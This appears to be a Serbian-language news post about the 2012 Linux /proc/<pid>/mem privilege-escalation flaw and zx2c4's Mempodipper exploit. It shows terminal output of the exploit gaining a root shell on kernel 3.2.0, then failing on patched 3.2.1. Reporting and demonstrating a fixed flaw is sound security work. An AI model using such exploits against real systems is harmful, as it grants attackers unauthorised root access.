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Linux: Preko pristupa virtuelnoj memoriji do root prava
Ubrzo pošto je Linus Torvalds prošle nedelje objavio da je rešen problem sa pravima za virtuelnu memoriju pojavio se exploit koji koristi taj propust kako bi se došlo do root prava.
Od verzije 2.6.39 Linux Kernela, podaci svakog procesa mogu biti pregledani i izmenjeni na lokaciji /proc/<pid>/mem. Provere koje se u ovom trenutku vrše se pokazalo da su nedovoljne i lako se mogu zaobići.
Odmah posle objavljivanja ove zakrpe na Nerdling Sapple blogu, pojavio se i funkcionalni exploit. Ovaj expolit manipuliše virtualnom memorijom jednog setuid root procesa i tako omogućava root prava običnom korisniku . Jay Freeman - alias Saurik inače poznat po radu na iPhone-Jailberak okruženju - napravio je funkcionalnu verziju i za Android.
Primer kako doći do root prava:
milobit@blackpearl ~ $ uname -a
Linux blackpearl 3.2.0-gentoo-r1 #1 SMP PREEMPT Sun Jan 8 11:01:16 CET 2012 x86_64 Intel(R) Core(TM)2 CPU T7600 @ 2.33GHz GenuineIntel GNU/Linux
milobit@blackpearl ~ $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/25468/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find next instruction without reading binary.
[+] Resolved exit@plt to 0x401d58.
[+] Calculating su padding.
[+] Seeking to offset 0x401d4c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),10(wheel),18(audio),19(cdrom),20(dialout),27(video),80(cdrw),85(usb),103(vboxusers),1000(milobit)
sh-4.2#
Exploit pouzdano funkcioniše, što se iz gore priloženog primera može i videti.
Info: http://blog.zx2c4.com/749
Linux blackpearl 3.2.1-gentoo-r2 #1 SMP PREEMPT Tue Jan 31 12:07:56 CET 2012 x86_64 Intel(R) Core(TM)2 CPU T7600 @ 2.33GHz GenuineIntel GNU/Linux
milobit@blackpearl ~ $ ./
Display all 103 possibilities? (y or n)
milobit@blackpearl ~ $ ./m
marijana_slike/ mempodipper movie/
milobit@blackpearl ~ $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4175/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find next instruction without reading binary.
[+] Resolved exit@plt to 0x401d58.
[+] Calculating su padding.
[+] Seeking to offset 0x401d4c.
[+] Executing su with shellcode.
milobit@blackpearl ~ $